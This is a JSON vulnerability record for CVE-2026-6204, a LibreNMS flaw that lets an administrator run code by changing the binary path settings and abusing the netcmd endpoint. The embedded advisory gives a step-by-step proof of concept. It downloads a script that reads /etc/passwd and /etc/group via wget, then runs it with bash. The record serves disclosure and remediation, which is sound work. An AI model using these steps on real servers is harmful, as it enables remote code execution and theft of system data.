{"id":"CVE-2026-6204","aliases":["CVE-2026-6204","GHSA-pr3g-phhr-h8fh"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write","summary":"LibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.","source":"cvelist"},{"lang":"en","text":"### Summary\nA vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.\n\n### Details\nThe application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the `GET /ajax/netcmd` endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.\n\n### PoC\nTo reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file `malicious.sh` containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.\n\n```bash\n#!/usr/bin/env bash\n\ncat /etc/passwd\ncat /etc/group\nwhoami\npwd\nls\n```\n\n1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.\n<img width=\"593\" height=\"481\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5\" />\n\n2. Make sure the malicious script `malicious.sh` can be downloaded. \n<img width=\"516\" height=\"100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273\" />\n\n3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations\n<img width=\"797\" height=\"201\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576\" />\n\n4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).\n<img width=\"478\" height=\"58\" alt=\"image\" src=\"https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6\" />\n\n5. Send the request `GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh`. The response should contain wget's output, and malicious.sh would be downloaded by the server.\n<img width=\"900\" height=\"209\" alt=\"image\" src=\"https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0\" />\n\n6. After that, change the whois binary path to the path of bash (e.g. /bin/bash). \n<img width=\"751\" height=\"56\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8\" />\n\n7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. \n<img width=\"846\" height=\"688\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe\" />\n\n### Impact\nThis vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.\n\n### Remediation Advice\nLoading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the `ip_or_hostname` bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.\n\n### Prerequisite\nThe attacker must have a valid Administrator account to exploit this vulnerability.","format":"markdown","source":"ghsa"}],"published":"2026-03-26T18:04:01.000Z","modified":"2026-06-17T11:00:29.080Z","severity":{"scorer":"PRJBLK","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"PRJBLK","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"type":"custom","introduced":"0","fixed":"26.3.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.48","status":"affected","fixed":"26.3.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"26.3.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-pr3g-phhr-h8fh","tags":["third-party-advisory","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://projectblack.io/blog/librenms-authenticated-rce-and-xss/#binary-path-rce-poc","tags":["exploit","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6204","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"PRJBLK","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-13T12:42:55.779Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-6204","url":"https://www.cve.org/CVERecord?id=CVE-2026-6204","licence":"CVE Terms of Use","modified":"2026-04-13T12:43:19.241Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pr3g-phhr-h8fh","url":"https://github.com/advisories/GHSA-pr3g-phhr-h8fh","licence":"CC-BY-4.0","modified":"2026-04-14T23:11:25.857Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-6204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6204","licence":"Public domain","modified":"2026-06-17T11:00:29.080Z"}],"updatedAt":"2026-11-25T22:59:18.606Z","epss":{"score":0.07829,"percentile":0.94805,"date":"2026-12-01T12:00:22.000Z"}}